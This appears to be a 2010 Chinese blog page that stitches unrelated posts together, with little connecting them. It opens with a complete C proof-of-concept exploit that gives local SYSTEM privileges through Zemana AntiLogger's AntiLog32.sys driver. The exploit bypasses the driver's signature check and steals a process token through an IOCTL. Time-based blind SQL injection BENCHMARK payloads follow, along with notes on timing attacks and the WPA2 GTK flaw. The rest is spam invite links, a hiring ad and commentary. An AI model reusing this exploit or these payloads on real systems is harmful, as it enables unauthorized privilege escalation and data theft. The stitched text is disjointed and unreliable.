影响产品版本：
Zemana AntiLogger <=1.9.2.2.206

细节：

AntiLog32.sys 创建名为AntiLog32的设备，并处理0x8000201c的控制码，支持将一个PID所在进程的TOKEN修改为另一个的，并没有任何安全性检查，可引发权限提升

在AntiLog32设备打开时，会检查当前进程是否是带数字签名的，但方法仅仅是通过map 进程的section 并检查security节是否存在，可以轻易绕过。

通过提权的方式是ZwSetInformationProcess->ProcessAccessToken,因此需要一个空进程或仅有一个线程的进程，需要先创建暂停的进程，提权后再resume.

利用代码：

#include "stdafx.h"
#include "windows.h"
#include "winioctl.h"
#define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS)

typedef struct _IMPERSONATE_PROCESS{
HANDLE ImpersonateProcess ;
HANDLE SystemProcess ;
}IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;

int main(int argc, char* argv[])
{
printf("Zemana AntiLogger <=1.9.2.2.206 AntiLog32.sys <= 1.5.2.755\n"
   "Local Privilege Escalation Vulnerability Proof-of-Concept\n"
   "2010-7-28\n"
   "By MJ0011 th_decoder@126.com\n\nPress Enter\n");
getchar();

//bypass some useless create check

PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr->e_lfanew);
PVOID waddr = &pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;

ULONG oldp ;

VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &oldp);
pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ;
VirtualProtect(waddr , sizeof(ULONG) , oldp , &oldp);

HANDLE hdev = CreateFile("\\\\.\\AntiLog32" ,
   FILE_READ_ATTRIBUTES ,
   FILE_SHARE_READ ,
   0,
   OPEN_EXISTING ,
   0,0);

if (hdev == INVALID_HANDLE_VALUE)
{
   printf("cannot open device %u\n" , GetLastError());
   getchar();
   return 0;

}

STARTUPINFOA sia ;
memset(&sia , 0 , sizeof(sia));
sia.cb = sizeof(sia);
PROCESS_INFORMATION pi ;
memset(&pi , 0 , sizeof(pi));

if (!CreateProcess("c:\\windows\\system32\\cmd.exe" ,
   NULL ,
   NULL,
   NULL,
   FALSE ,
   CREATE_SUSPENDED,
   NULL,
   NULL,
   &sia ,
   &pi))
{
   printf("cannot run cmd.exe....%u\n", GetLastError());
   getchar();
   return 0 ;
}

IMPERSONATE_PROCESS ip ;
ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ;
ip.SystemProcess = (HANDLE)4 ; //// WinXP and later
ULONG btr ;

if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &ip , sizeof(ip) , NULL , 0 , &btr, 0))
{
   printf("cannot impersonate process %u\n" , GetLastError());
   getchar();
   return 0 ;
}

ResumeThread(pi.hThread);

printf("OK\n");

return 0;
}

快下班的时候看了下mod_proxy_http的代码，这种漏洞完全不给力啊，以后不看了……

"哪个让你直播的"

估计这个关键字能火。

围观

http://www.cnbeta.com/articles/117703.htm

腾讯QQ今天爆出一个0DAY，聊天记录查看未对HTML和脚本标记做过滤的注射漏洞。

这类漏洞不是什么新玩意的漏洞，关注漏洞的人知道，从5，6年前，各种位置脚本注射的安全漏洞，在QQ里都出现过，个人昵称，签名，群说明，QQ MAIL，修补来修补去，虽然腾讯作为国内对安全重视度最高的互联网企业，内部安全团队过百人，也只能是今天补完A漏洞，明天出现B漏洞，后天下个版本又出现A漏洞的的怪圈循环。QQ 2010 SP0 还做了严格限制的检测，QQ 2010 SP1却重现问题，问题何在呢？

我觉得或者是开发团队换班，或者主要程序员换班，新开发者缺乏安全意识，未能理解上个版本的限制代码的安全含义，觉得是无效的代码进行了删除。或者是程序大部分代码重写，以前继承的代码做了重大修改，而老的开发人员以前只是遵循安全人员的指示临时加上的检测代码，在新的改写中，没有新的安全人员跟进，给予了删除。

可见现在阶段，即使腾讯这样规模的开发团队，遵循的开发还是：安全问题暴露-〉安全人员指导开发人员修复，但是开发人员既不理解也缺乏安全能力，新版本中，人员一改组，代码一改变，安全问题又重现，而安全人员又缺乏对历史的安全问题的追踪和安全测试的能力，导致问题重复出现，难以从根本性上去改进安全问题，更别说推进SDL了。而建立安全测试过程，追踪历史漏洞并对新版本进行追踪测试，是提高产品安全质量改进过程的第一步。

腾讯是有名的把软件当服务来做的公司，做技术拼的是硬实力，做服务拼的是软硬综合实力，安全问题既涉及到安全意识，安全过程，安全管理的软实力，也涉及到安全能力的硬实力。作为国内互联网软件的领头羊，希望腾讯能对安全测试有足够的重视。

本公司专业从事渗透测试、网站检测等工作，因工作需要，现在诚聘网络安全技术人员加盟,学历无任何要求,但在其他公司中从事过这方面工作、具备丰富经验者及在各级杂志发表过自己的原创技术文章者优先
待遇：
试用期原则上3个月,表现突出提前转正。转正后，享受正式员工待遇：签定劳动合同；失业、医疗、养老保险俱全；工资根据技术水平和工作成绩从3K到1W不等，上不封顶，表现突出的可随时调整工资；工作期间及年终根据工作成绩发放奖金。

双休日、法定节假日休息。

招聘人数：3人

具体要求如下（符合其中几条也可以）：

（1）熟练掌握各类Web渗透技术的手法和提权方式；
（2）熟悉JSP、ASP、PHP等脚本语言，对脚本和系统都要有一定程度的解读能力；
 (3) 熟练掌握内网渗透的相关知识,具备丰富的实战经验
 (4) 具有良好的团队合作精神

也欢迎基础扎实、学习能力强、适应新环境快的应届毕业生踊跃报名。

有意向的朋友，请联系我们详谈，联系方式：QQ：5O351O674

http://t.qq.com/invite/9bf44db000d6458b2401

http://t.qq.com/invite/be514b5be7c81df0b583

http://t.qq.com/invite/34ecd08f13ec2df7c6b5

http://t.qq.com/invite/b4bac868a159a4ce382f

http://t.qq.com/invite/c58a3763289c90d2f393

http://t.qq.com/invite/127a6fadeeed016c97c7

http://t.qq.com/invite/9c9374bb8e5b3b2bef5d

http://t.qq.com/invite/f868d0fef183b2ec5d8d

http://t.qq.com/invite/110ef7e61754d6dd4233

http://t.qq.com/invite/ca64fbdcadc2a9991bdf

http://t.qq.com/invite/30668b68b6c03671f02d

http://t.qq.com/invite/b9407f100bcf913cc819

http://t.qq.com/invite/faa5bb3df623c4ac0e79

http://t.qq.com/invite/1b42f0d4a7596197b017

http://t.qq.com/invite/be67a6d8fd4ae0861c43

http://t.qq.com/invite/5926f4c89a0b5a2f3d93

http://t.qq.com/invite/73d4ae7c5ffc7fbe51bb

http://t.qq.com/invite/935e68d7f291ee181cb1

http://t.qq.com/invite/aba768a8d035374a9c7b

http://t.qq.com/invite/e60ba99e7d7a44faf1f9

http://t.qq.com/invite/42a120201f56cadf0273

SELECT BENCHMARK(10000000,ENCODE('abc','123')); [around 5 sec]
SELECT BENCHMARK(1000000,MD5(CHAR(116))) [ around 7 sec]
Example: SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login

if (signature(message) == signature_bytes) 
    return true;

for (i = 0; i < a.length; i++) {
 if (a[i] != b[i])
  return false;
}

return true;

注意到如果一旦发现顺序比较的两个字符不相等，就退出循环了。这和全部跑完再退出循环所花费的时间是不同的。

再精确一点，比较第一个字符就退出，和比较完第二个字符才退出，一直到比较完N个字符才退出，所花费的时间是有细微的差别的！

AAAAAAAAAA
BAAAAAAAAA
CAAAAAAAAA
DAAAAAAAAA
...
XAAAAAAAAA
YAAAAAAAAA
ZAAAAAAAAA

基于echofon 1.9.6.5RC1 修改而来，支持最新的firefox 4.0 b3pre 每夜版。

       一些数学竞赛或者智力游戏中经常见到给一组数列找规律,让给出下面一个数.其实这些纯粹是扯淡.我可以给任何任意n个数据给出一个n为周期的数学表达式出来.什么意思呢?比如你给出a,b我可以给你一个表达式f(n),得到f(1)=a,f(2)=b,然后周期是2,就是f(3)=a,f(4)=b,就是循环得到a,b,a,b,a,b.多个数也同样可以.

      其实f(n)的表达式很简单,f(n)=a1*x^1^n+a2*x^2^n+......+an*x^n^n,其中x是x^n=1的一个最小幅角跟.x=e^i2p/n

      比如n=1 x=1

      那么f(n)=a1*1^n   解得a1=f(1),有f(n)=f(2)=f(1)

    n=2 x=-1

      那么 f(n)=a1*(-1)^n+a2*(-1)^2^n=a1*(-1)^n+a2*1^n

       解得a1=1/2(f(2)-f(1))

             a2=1/2(f(2)+f(1))

           比如 数列1,7,1,7,1,7..... 可以表示成f(n)=3*(-1)^n+4*1^n

        n=4 x=i

        f(n)=a1(i)^n+a2(-1)^n+a3(-i)^n+a4(1)^n

嗯，还是有不小的成果的。

不然我就从窗户跳出去了。

期待然然全新的 PCVista，期待最后一集的 The IT Crowd。

期待搬家，期待考试。

撒这里，有要的自己copy吧：

http://t.qq.com/invite/430756915f2baac554d9

http://t.qq.com/invite/37ddfea7e54cfd3e7f27

http://t.qq.com/invite/9bf44db000d6458b2401

http://t.qq.com/invite/161f9a8afb731e073015

http://t.qq.com/invite/0167a3bfe809dac5e54f

http://t.qq.com/invite/c155a181d9b7c3c721e9

http://t.qq.com/invite/f027eeb69a31c99d7d6b

http://t.qq.com/invite/47ca6fc145c8254a2b41

http://t.qq.com/invite/ff6029693e3fde04b359

http://t.qq.com/invite/a646181462561f2b74ed

http://t.qq.com/invite/d3aa8de02f7ac9f09cc3

http://t.qq.com/invite/943cf629e6785f8e75f1

http://t.qq.com/invite/82b8001334b3c1c92b57

http://t.qq.com/invite/6a848523a8c5a2eb562f

http://t.qq.com/invite/b1f3685ed6acdb2f6655

http://t.qq.com/invite/0a5de6acc5985fad4fd1

http://t.qq.com/invite/d17e67ca45f236eaa23f

http://t.qq.com/invite/6baabe1d003a6075c11f

http://t.qq.com/invite/577c2fe4381956890589

http://t.qq.com/invite/641ed2fa9af4d3233a91

WPA2 uses two types of keys: 1) Pairwise Transient Key (PTK), which is unique to each client, for protecting unicast traffic; and 2) Group Temporal Key (GTK) to protect broadcast data sent to multiple clients in a network. PTKs can detect address spoofing and data forgery. "GTKs do not have this property," according to page 196 of the IEEE 802.11 standard.

These six words comprise the loophole, Ahmad says.

Because a client has the GTK protocol for receiving broadcast traffic, the user of that client device could exploit GTK to create its own broadcast packet. From there, clients will respond to the sending MAC address with their own private key information.

Ahmad says it took about 10 lines of code in open source MadWiFi driver software, freely available on the Internet, and an off-the-shelf client card for him to spoof the MAC address of the AP, pretending to be the gateway for sending out traffic. Clients who receive the message see the client as the gateway and "respond with PTKs", which are private and which the insider can decrypt, Ahmad explains.

http://www.networkworld.com/newsletters/wireless/2010/072610wireless1.html

最近这张图片非常火。

相关的新闻：
《三峡大坝固若金汤，可以抵挡万年一遇洪水》
《三峡工程今年可防千年一遇洪水》（原始标题的新闻找不到了）
《三峡大坝可抵御百年一遇特大洪水》原文发在新华网上时间是 2006 年，而搜狐转载却是在 2008 年。
《长江水利委:不能把希望都寄托在三峡大坝上》

发这个图片的人不知道是不是为了安排“剧情”，而特地筛选过图片。其中 2006 年的新华网原文没有选择，却选择了 2008 年搜狐编辑“挖坟”转贴的旧文。

《三峡大坝固若金汤，可以抵挡万年一遇洪水》强调的是设计标准是抵御“万年一遇”的洪水：“按照设计，三峡大坝必须抵挡万年一遇的长江洪水”。2006 年原文发在新华网上的新闻《三峡大坝可抵御百年一遇特大洪水》说的是三峡大坝未竣工的情况下，2006 年就具备了抵御“百年一遇”洪水的能力，而且新闻最后强调“三峡开始发挥防洪能力并非意味着长江防洪可以高枕无忧。长江干堤是抵御长江中下游洪水的直接屏障”。而《三峡工程今年可防千年一遇洪水》新闻中明确说到“今年三峡枢纽的防洪标准定位为千年一遇”。

初一看，觉得标题党害死人啊！可是再想想，不是我们自己的浅阅读习惯导致的么？没有人深究探索，没有人认真。这是这个时代的悲哀啊。

另外，这一期的《南方周末》上面提到关于”X 年一遇”洪水的标准：

水利学界界定的洪水标准为：二十年一遇洪水流量为72300立方米／秒，百年一遇洪水流量为83700立方米／秒，千年一遇洪水流量为98800立方米／秒，万年一遇洪水流量为113000立方米／秒，可能最大洪水的洪水流量为120000～127000立方米／秒。

唉，浅阅读害死人啊！！

©2010 乌托邦. All Rights Reserved.